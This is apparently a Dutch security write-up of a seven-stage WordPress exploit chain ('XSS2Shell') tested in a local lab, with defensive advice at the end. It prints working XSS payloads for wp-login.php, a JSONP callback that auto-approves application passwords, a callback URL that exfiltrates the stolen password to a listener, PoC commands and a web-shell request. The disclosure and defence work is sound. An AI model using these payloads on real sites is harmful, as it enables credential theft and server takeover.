Alleen geautoriseerd testen.
Alles hieronder is uitgevoerd tegen een lokaal lab (WordPress 7.0.2 op localhos). Gebruik deze technieken niet tegen systemen die u niet bezit of waarvoor u geen expliciete toestemming heeft om te testen.
Managementsamenvatting
XSS2Shell is geen enkele bug — het is een zevenfasige exploitketen die begint met één teken (< gevolgd door een spatie) dat twee verschillende HTML-parsers op de inlogpagina van WordPress omzeilt, en eindigt met PHP dat op de server wordt uitgevoerd als www-data.
Wat het gevaarlijk maakt:
- Fase 1 vereist geen authenticatie — iedereen kan JavaScript activeren op
wp-login.php. - Het bevindt zich in WordPress Core — niet in een plugin; vrijwel elke ondersteunde installatie sinds 2016 is kwetsbaar.
- Het gebruikt de eigen code van WordPress —
user-profile.js, REST JSONP, applicatiewachtwoorden, plugin-upload — als gadgets. - Volledige RCE is aangetoond en erkend door WordPress — hoewel het vereist dat een ingelogde beheerder op één klik wordt misleid.
Dit artikel doorloopt elke fase met schermafbeeldingen uit ons lokale lab.
De labomgeving
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 op http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Elke WordPress-site stelt /wp-login.php bloot. Die pagina is het toegangspunt voor de gehele keten.
Fase 0: Het parser-verschil (hoofdoorzaak)
Wanneer het inloggen mislukt, herhaalt WordPress de ingevoerde gebruikersnaam in een foutmelding. De gebruikersnaam doorloopt twee sanitizers die het oneens zijn over wat een "tag" is:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
De payload gebruikt een spatie na<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XOp kwetsbare WordPress 7.0.2 overleeft dit de sanitisatie en wordt het actieve DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
Op gepatchte WordPress 7.0.4 wordt dezelfde payload HTML-geëscaped in de foutmelding — geen actieve elementen.
Deze bug bestaat al sinds WordPress 4.7 (2016) en werd jarenlang gemist bij beveiligingsaudits.
Fase 1: Pre-authenticatie XSS (geen inloggen vereist)
Geïnjecteerde DOM-knooppunten komen overeen met selectors waar WordPress's eigen user-profile.js op de inlogpagina naar zoekt (geladen voor de wachtwoord-resetflow):
.reset-pass-submit .wp-generate-pwwordt automatisch aangeklikt bij het laden van de pagina- De klik borrelt op naar de gedelegeerde handler van
#color-picker - Bewakingscontrole
user_id === checkuser_idslaagt omdat beideundefinedzijn - jQuery POSTs naar
ajaxurl— maarajaxurlbestaat niet op de inlogpagina…
Tenzij we het overschrijven:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Het <area id=ajaxurl>-element wordt window.ajaxurl. jQuery roept .toString() aan → geeft href terug. WordPress REST retourneert JSONP → jQuery globalEval() → alert()wordt uitgevoerd op de WordPress-origin.

Dien het formulier in (of open demo/stage1-preauth-xss.html en klik op Voer Fase 1 uit):

Impact in deze fase alleen al: credential-phishing op het echte domein, sessie-kaping, same-origin API-aanroepen — zonder enige authenticatie.
Fase 2: Social engineering — de klik van de beheerder
Fasen 2–7 vereisen dat een ingelogde beheerder een door de aanvaller beheerde pagina opent. Dit is de drempel die de CVSS onder de 10 houdt — maar het is realistisch voor gerichte aanvallen.
De beheerder kan ontvangen: "Uw sessie is verlopen — klik hier om opnieuw in te loggen."

Wanneer erop geklikt wordt, doet de aanvallerspagina:
- Opent een child-popup (
about:blank) - Stuurt het hoofdvenster door naar de autorisatiepagina voor applicatiewachtwoorden van WordPress
- Schrijft een XSS-formulier naar het onderliggende pop-upvenster en verzendt het automatisch naar
wp-login.php

Fase 3: Same-Origin Method Execution (SOME) — automatisch goedkeuren
De XSS-payload van het onderliggende venster wijzigt de JSONP-callback van alert naar:
window.opener.approve.clickWordPress REST omhult het antwoord:
/**/window.opener.approve.click({...})De runtime lost window.opener (bovenliggend venster) → .approve (de #approve-knop) → .click() op. De Goedkeuren-knop voor applicatiewachtwoorden wordt automatisch aangeklikt — zonder gebruikersinteractie op die pagina.

Let op de callback-URL op de pagina: inloggegevens worden verzonden naar http://127.0.0.1:9090/callback?...&password=[------].
Fase 4: Onderschepping van toepassingswachtwoord
WordPress maakt een nieuw toepassingswachtwoord aan en leidt door naar de success_url van de aanvaller met de inloggegevens in de querystring:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXDe aanvaller beschikt nu over HTTP Basic-auth-inloggegevens voor de WordPress REST API — verkregen via de sessie van de beheerder, zonder dat de beheerder na de initiële linkklик iets hoeft in te typen.
Fase 5: Door aanvaller beheerde pagina publiceren
Met behulp van het gestolen toepassingswachtwoord verstuurt de aanvaller een POST naar /wp-json/wp/v2/pages en publiceert een pagina met ingebedde JavaScript. Beheerders beschikken over de unfiltered_html-bevoegdheid — scripttags blijven intact.
Fase 6: Plugin uploaden via beheerdersessie
De JavaScript van de aanvaller (uitgevoerd in de browser van de beheerder op de gepubliceerde pagina):
- Haalt
/wp-admin/plugin-install.php?tab=uploadop voor de upload-nonce - Verstuurt een kwaadaardig ZIP-bestand via POST naar
/wp-admin/update.php?action=upload-plugin - WordPress pakt het uit naar
wp-content/plugins/xss2shell/
De plugin hoeft niet geactiveerd te worden. PHP-bestanden in de pluginmap zijn rechtstreeks toegankelijk via het web.
Fase 7: Uitvoering van externe code
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiAntwoord:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
De aanvaller voert nu willekeurige opdrachten uit als de webservergebruiker — lees wp-config.php (databasegegevens), dump de database en beweeg zijdelings verder.
Volledige PoC-terminaluitvoer:

De volledige keten in één oogopslag
sequenceDiagram participant A as Aanvallerserver participant V as Browser van slachtoffer participant W as WordPress 7.0.2 Note over V,W: Beheerder is ingelogd V->>A: Opent phishinglink (1 klik) A->>V: HTML van aanvaller + child-popup V->>W: Hoofdvenster → authorize-application.php V->>W: Child POST XSS-payload naar wp-login.php W->>V: JSONP voert window.opener.approve.click uit Note over V,W: Goedkeuren-knop automatisch aangeklikt W->>A: Doorverwijzing met applicatiewachtwoord A->>W: REST API publiceert pagina (Basic auth) V->>W: Beheerder bezoekt pagina → uploadt plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataHoe gevaarlijk is het werkelijk?
Wat gegarandeerd is (hoge betrouwbaarheid)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Wat aanvullende voorwaarden vereist (RCE-pad)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Ernst-kalibratie
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Conclusie: Dit is geen wormbare zero-click RCE zoals Log4Shell. Het is een diepgaand technische kwetsbaarheid op Core-niveau die ~43% van het web treft, waarbij:
- Fase 1 alleen al een ernstige pre-auth XSS op de inlogpagina vormt
- De volledige keten één klik van een beheerder omzet in servercompromittering
- De onderliggende oorzaak (parser-differentieel) van toepassing is op elke codebase die meerdere HTML-parsers gebruikt
WordPress' eigen advies stelt dat RCE "omstandigheden buiten de controle van de aanvaller" en "succesvolle social engineering" vereist. Dat klopt — maar de aangetoonde keten maakt die omstandigheden bereikbaar met één enkele link.
Reproduceer de volledige keten lokaal
# 1. Start lab make up # 2. Schakel applicatiewachtwoorden in op HTTP (alleen lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-listener python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. In de browser: # a. Log in als beheerder op http://localhost:9080/wp-login.php # b. Open http://127.0.0.1:9091/phishing-sim.html # c. Klik op "Open aanvalspagina" (sta popups toe) # d. Wacht op terminaluitvoer met shell + whoamiVerdediging
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
De fix voegt esc_html() toe aan de gebruikersnaam in het pad voor inlogfouten — zodat de string als tekst wordt behandeld en niet opnieuw als HTML wordt geparseerd.
Waarom dit belangrijk is voor beveiligingsonderzoek
Elke schakel in de keten is afzonderlijk saai:
- Parser-differentieel → lage ernst, huishoudelijk werk
- Verkeerd script geladen op inlogpagina → laag
- JSONP-callback gevalideerd door regex → gemiddeld
- Applicatiewachtwoord in doorstuur-URL → gemiddeld
- Plugin-map voert PHP uit zonder activering → bekend ontwerp
Samengesteld zijn ze CVSS 8.9 en een shell.
De les: beoordeel bij XSS-bevindingen altijd "wat is er al geladen op deze pagina, en wat doet het als ik het de juiste DOM-nodes geef?" Ernst is een eigenschap van de keten, niet van de individuele bug.



